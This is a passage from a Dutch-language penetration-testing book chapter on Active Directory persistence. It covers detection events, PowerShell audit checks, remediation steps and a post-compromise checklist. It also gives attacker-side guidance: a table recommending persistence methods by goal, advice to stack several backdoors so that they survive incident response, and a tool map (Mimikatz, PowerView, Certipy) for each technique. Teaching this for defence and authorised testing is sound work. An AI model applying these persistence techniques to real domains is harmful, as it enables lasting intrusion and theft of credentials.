- Event 4780: ACL wijziging op beschermd object (SDProp-gerelateerd)
- Event 5136: Directory service object wijziging
- Event 4794: DSRM password instelling
- Event 4769: Kerberos TGS requests (filter op RC4 encryption)

Laag 3: Regelmatige audits

# AdminSDHolder ACL controleren
(Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access |
  Format-Table IdentityReference, ActiveDirectoryRights

# Security Packages registry controleren
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ `
  -Name 'Security Packages'

# DsrmAdminLogonBehavior controleren
Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\ `
  -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue

Voer deze controles maandelijks uit. Beter nog: automatiseer ze en alert bij afwijkingen.

Laag 4: Incident Response

Als je persistentie ontdekt, is de keten van acties afhankelijk van de methode:

Methode Herstel
AdminSDHolder Verwijder de kwaadaardige ACE, forceer SDProp, controleer alle beschermde groepen
Custom SSP Verwijder registry entry, verwijder DLL, herstart DC, overweeg DSRM-wachtwoord reset
DSRM Verwijder DsrmAdminLogonBehavior, reset DSRM-wachtwoord via ntdsutil
Security Descriptors Reset security descriptors op WMI/WinRM/Registry naar defaults
Skeleton Key Herstart de DC (verwijdert de patch uit geheugen)
Golden Certificate Heruitgave van de CA-key, revocatie van alle certificaten

Die laatste — Golden Certificate — is reden genoeg om je CA-key in een HSM te bewaren. Een volledige PKI-heruitgifte is een operatie die weken duurt en het hele netwerk raakt.


De werkelijkheid van “we hebben alles opgeruimd”

Laten we eerlijk zijn over het incident response-proces bij de meeste organisaties. Het SOC ontdekt een compromis. Er wordt een crisisteam samengesteld. Er worden wachtwoorden gereset, werkstations opnieuw geïmaged, en VPN-toegangen uitgeschakeld. Na twee weken intensief werk verklaart het management: “We hebben de situatie onder controle. De aanvaller is verwijderd.”

En misschien is dat waar. Misschien.

Maar heb je de AdminSDHolder-ACL gecontroleerd? Heb je de Security Packages in het register van elke DC geïnspecteerd? Heb je het DsrmAdminLogonBehavior op elke DC gecontroleerd? Heb je de WMI-security descriptors geaudit? Heb je de CA-private key geroteerd? Heb je SIDHistory van alle accounts gecontroleerd?

In de overgrote meerderheid van de gevallen is het antwoord: nee. Niet uit onwil, maar uit onwetendheid. De meeste incident response-teams focussen op werkstations en servers — bestanden, processen, netwerk-connecties. Ze zoeken naar malware. Naar C2-kanalen. Naar indicators of compromise die in hun SIEM-regels staan.

Maar de persistentiemechanismen in dit hoofdstuk leven niet op werkstations. Ze leven in Active Directory zelf. In ACL’s. In security descriptors. In registry keys op de DC. In het geheugen van LSASS. Plekken waar het incident response-team niet kijkt, omdat het niet weet dat het daar moet kijken.

Het is als een ziekenhuisteam dat de patiënt behandelt voor een gebroken been terwijl er een tumor groeit die niemand heeft opgemerkt. Het been geneest. De patiënt gaat naar huis. En drie maanden later is het weer mis, en niemand begrijpt waarom.

De les is simpel maar oncomfortabel: een incident response is pas compleet wanneer je actief hebt gezocht naar — en uitgesloten — elke persistentiemethode die de aanvaller had kunnen implementeren. Niet de methoden die je kent. Alle methoden. En dat vereist kennis die de meeste teams niet hebben, tijd die het management niet wil geven, en tools die de meeste organisaties niet bezitten.

“We hebben alles gepatcht.” Nee, je hebt de voordeur gerepareerd. De aanvaller zit nog steeds in de kelder.

Het clean-up probleem

Er is nog een dimensie die dit alles complexer maakt: zelfs wanneer je weet welke persistentiemechanismen er zijn, is het verwijderen ervan niet triviaal. Neem de AdminSDHolder-backdoor. Je vindt de kwaadaardige ACE, je verwijdert hem. Maar heb je ook alle beschermde groepen gecontroleerd? SDProp heeft de ACE al gekopieerd naar Domain Admins, Enterprise Admins, en alle andere beschermde groepen. Je moet de ACE verwijderen van AdminSDHolder en van elke groep waar hij naartoe is gekopieerd. Miss je er een, dan werkt de backdoor nog steeds.

Of neem de Custom SSP. Je vindt de DLL in System32 en de registry entry. Je verwijdert beide. Maar heb je het logbestand gecontroleerd? C:\Windows\system32\mimilsa.log staat vol met cleartext wachtwoorden. Als de aanvaller dat bestand al heeft geexfiltreerd, zijn al die wachtwoorden gecompromitteerd — zelfs na het verwijderen van de SSP. Je moet dan alle wachtwoorden resetten van iedereen die heeft ingelogd sinds de SSP actief was.

En bij de Golden Certificate: als de CA-private key is gestolen, is er eigenlijk maar een oplossing die garantie biedt: een volledige PKI-herinstallatie. Nieuwe CA. Nieuwe root key. Nieuwe certificaten voor iedereen. In een omgeving met duizenden systemen is dat een project van maanden.

De harde waarheid is dat sommige persistentiemechanismen zo diep gaan dat de enige betrouwbare oplossing een volledige rebuild van het domein is: een nieuw forest, nieuwe DC’s, nieuwe accounts, gecontroleerde migratie van data. Dat is de nucleaire optie. Maar soms is het de enige optie.

Persistentie audit checklist

Als pen tester of als verdediger: gebruik deze checklist na elk compromis om systematisch persistentie uit te sluiten:

Active Directory niveau:
[ ] AdminSDHolder ACL gecontroleerd op ongeautoriseerde ACE's
[ ] SIDHistory van alle accounts gecontroleerd (geen verdachte SID's)
[ ] Alle GP-links en GPO's gecontroleerd op kwaadaardige scripts
[ ] Alle certificate templates gecontroleerd op wijzigingen
[ ] CA configuratie gecontroleerd (EDITF_ATTRIBUTESUBJECTALTNAME2)
[ ] Kerberos krbtgt-wachtwoord twee keer gereset (golden ticket invalidatie)
[ ] Replicatie-metadata gecontroleerd op DCShadow-sporen

Domain Controller niveau (per DC):
[ ] Security Packages registry key gecontroleerd
[ ] DsrmAdminLogonBehavior registry key gecontroleerd
[ ] WMI namespace security descriptors gecontroleerd
[ ] WinRM endpoint security descriptors gecontroleerd
[ ] Remote Registry security descriptors gecontroleerd
[ ] Scheduled tasks gecontroleerd
[ ] Services gecontroleerd
[ ] DLL's in System32 gecontroleerd tegen baseline
[ ] LSASS memory geanalyseerd (Skeleton Key, custom SSP)

PKI niveau:
[ ] CA private key integriteit geverifieerd
[ ] Alle uitgegeven certificaten gereviewed
[ ] Onverwachte certificaten ingetrokken

Account niveau:
[ ] Alle wachtwoorden gereset (inclusief service accounts)
[ ] DSRM-wachtwoorden gereset op elke DC
[ ] Alle Kerberos tickets geïnvalideerd

Persistentie prioritering

Niet alle persistentiemethoden zijn gelijk. Als aanvaller kies je op basis van je situatie:

Scenario Aanbevolen methode Reden
Langdurige, stille toegang AdminSDHolder + Security Descriptors Geen malware, overleeft alles
Wachtwoorden verzamelen Custom SSP Direct cleartext credentials
Snelle nood-backdoor DSRM Minimale wijzigingen, snel op te zetten
Korte termijn universele toegang Skeleton Key Werkt voor alle accounts, geen bestanden
Maximale persistentie Golden Certificate + AdminSDHolder Overleeft zelfs volledige DC-herinstallatie (als CA intact blijft)

De meest robuuste strategie combineert meerdere methoden in verschillende categorieën: een ACL-gebaseerde methode (AdminSDHolder), een credential-harvest methode (Custom SSP), en een authenticatie-backdoor (DSRM of Golden Certificate). Redundantie is de sleutel — als het incident response-team een methode vindt, heb je nog twee over.


Referentietabel

Onderwerp IB Command Tool Vereiste Persistent na reboot
AdminSDHolder ACL backdoor persist_adminsdholder PowerView DA Ja
Custom SSP (registry) persist_custom_ssp Mimikatz + mimilib.dll DA Ja
Custom SSP (in-memory) persist_custom_ssp Mimikatz DA Nee
DSRM abuse persist_dsrm Mimikatz DA Ja
Security Descriptor backdoors persist_security_descriptors RACE toolkit DA Ja
Skeleton Key persist_skeleton_key Mimikatz DA Nee
Golden Certificate (handmatig / Certipy) Certipy DA + CA key Ja
DCShadow (handmatig / Mimikatz) Mimikatz DA + 2 sessies Ja
SIDHistory injection (handmatig / Mimikatz) Mimikatz DA Ja

In het volgende hoofdstuk behandelen we tunneling — de kunst om verkeer door vijandelijk territorium te loodsen. Want al die persistentie is niets waard als je er niet bij kunt. SSH SOCKS, chisel, dnscat2, en meer: de geheime doorgangen van het netwerk.